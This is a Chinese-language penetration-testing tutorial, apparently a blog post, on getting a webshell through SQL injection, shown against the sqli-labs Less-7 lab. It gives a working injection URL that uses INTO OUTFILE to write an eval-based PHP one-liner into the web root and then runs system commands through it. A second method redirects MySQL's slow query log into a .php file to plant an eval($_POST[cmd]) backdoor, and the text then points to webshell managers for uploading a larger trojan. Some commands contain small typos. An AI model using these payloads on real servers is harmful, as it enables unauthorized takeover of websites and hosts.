為什么要寫shell
我們一般通過SQL注入寫的都是小馬,什么是小馬,一句話說小馬就是 一種短小但是功能完善的木馬客戶端,通過它我們可以構造系統命令執行,從而達到控制操作系統的目的。它的隱蔽性好,功能強大,可能一兩個函數就可以達到控制對方網站或者主機的目的。一般滲透測試中遵從的是先傳小馬,再通過菜刀或者其他管理工具連接,再上傳大馬的邏輯。
我們把惡意的函數寫入到文件里去,通過訪問文件,搭建平台會執行文件中的參數,而這個文件可以被我們利用來執行操作,從而達到了控制目標操作系統的目的。
通過SQL注入漏洞寫入惡意代碼並且控制OS
要求
1.首先需要知道遠程目錄(猜測+經驗)
@@basedir mysql,去猜測對方的網站目錄
有時候Phpinfo()探針的泄露。
# 通過@@basedir知道了sqli-labs安裝路徑為 C:/phpStudy/PHPTutorial/MySQL/
可以猜測出網站是php搭建的,那么這個網站的絕對路徑應該是 C:/phpStudy/PHPTutorial/
/WWW
2.其次需要遠程目錄有寫的權限(不可控)
3.需要數據庫開啟了secure_file_priv
MySQL新特性secure_file_priv 對讀寫文件的影響,此開關默認為NULL,即不允許導入導出,這個對我們寫入shell有重要的影響
secure_file_priv
|
效果
|
NULL
|
不允許導入導出
|
空
|
可以讀寫,但是不能動態更改
|
指定文件夾
|
MySQL的導入導出只能發生在指定文件夾
|
如果我們可以寫入,要寫入的是它的絕對路徑
虛擬機上查看sqli-labs的secure_file_priv特性
show global variables like "%secure%";


發現是NULL,為了之后的演示,我們將secure_file_priv文件修改為空,打開MySQL的配置文件my.ini,添加如下代碼


重啟后再次查看secure_file_priv特性發現為空


流程——以sqli-labs/Less-7為例
寫入小木馬
http://192.168.223.132/sqli-labs/Less-7/?id=1')) union select 1,2,"<?php eval($_GET['w']);?>" into outfile "C:/phpStudy/PHPTutorial/WWW/1.php" %23
# eval()函數把字符串按照 PHP 代碼來執行,通過eval函數我們再調用system函數就可以執行系統命令


http://192.168.223.132/
1.php?w=system('dir'); 查看目錄卷
http://192.168.223.132/
1.php?w=system('ipconfig'); 查看網絡配置
通過get shell后可以通過shell管理工具(中國蟻劍,中國菜刀等)來訪問網站文件,如果一個不行就換一個,密碼為GET型傳入的參數(在這里是w),以此上傳大馬
如果secure_file_priv文件為NULL,但phpmyadmin開放或者有機會操控數據庫,可以使用全局變量(慢日志)來get shell,前提也要有寫的權限
慢日志寫shell
原理
慢日志指的是查詢時間超過慢日志要求查詢時間的查詢都會存入慢日志,如果把日志的查詢路徑改成木馬文件,就可以使用惡意查詢語句
命令
# 1.查看當前慢查詢日志目錄
show variables like "%slow%";
# 2.開啟慢查詢日志的功能
set global slow_query_log=on
# 3.重新設置日志路徑,注意設置為網站的絕對路徑
set global slow_query_log_file="E:/PHPCUSTOM/wwwroot/accessinfo.php" # 將日志路徑設置為網站路徑WWW下,可進入的info文件為accessinfo.php
# 4.設置慢查詢時間(構造查詢大於慢日志紀錄的時間)
set global slow_launch_time=X # X>original_slow_launch_time # 有時候網絡延遲,也會大於原來設置的時間,會記錄不必要的信息,而設置大於原來時間或者及以上則可以排出這種干擾
# 5.執行SQL語句,寫webshell進日志文件
select '<?php eval($_POST[cmd]); ?>' from mysql.db where sleep(10);
流程
1.查看慢日志目錄
show variables like %slow%";


2.發現慢查詢日志功能未開啟,開啟慢查詢日志功能
set global slow_query_log=on;
show variables like %slow%"; #由於每次操作需要再次查看慢日志目錄才能看到更新,建議每次都帶上查看語句


3.重新設置日志路徑
set global_slow_query_log_file="C:/phpStudy/PHPTutorial/WWW/haha.php
show variables like "%slow%";
#注意,這里需要用反斜杠/來編寫路徑,否則就和出現以下情況


正確輸入路徑后,情況如下




4.構造慢查詢時間
set global slow_launch_time=5;


5. 執行SQL語句,寫webshell進日志文件
select '<?php eval($_POST[cmd]); ?>' from mysql.db where sleep(10); # 密碼為cmd


6.使用shell管理工具進行連接,輸入URL地址和密碼(cmd),完成后上傳大馬


7.完成后用瀏覽器就可以直接拿到shell了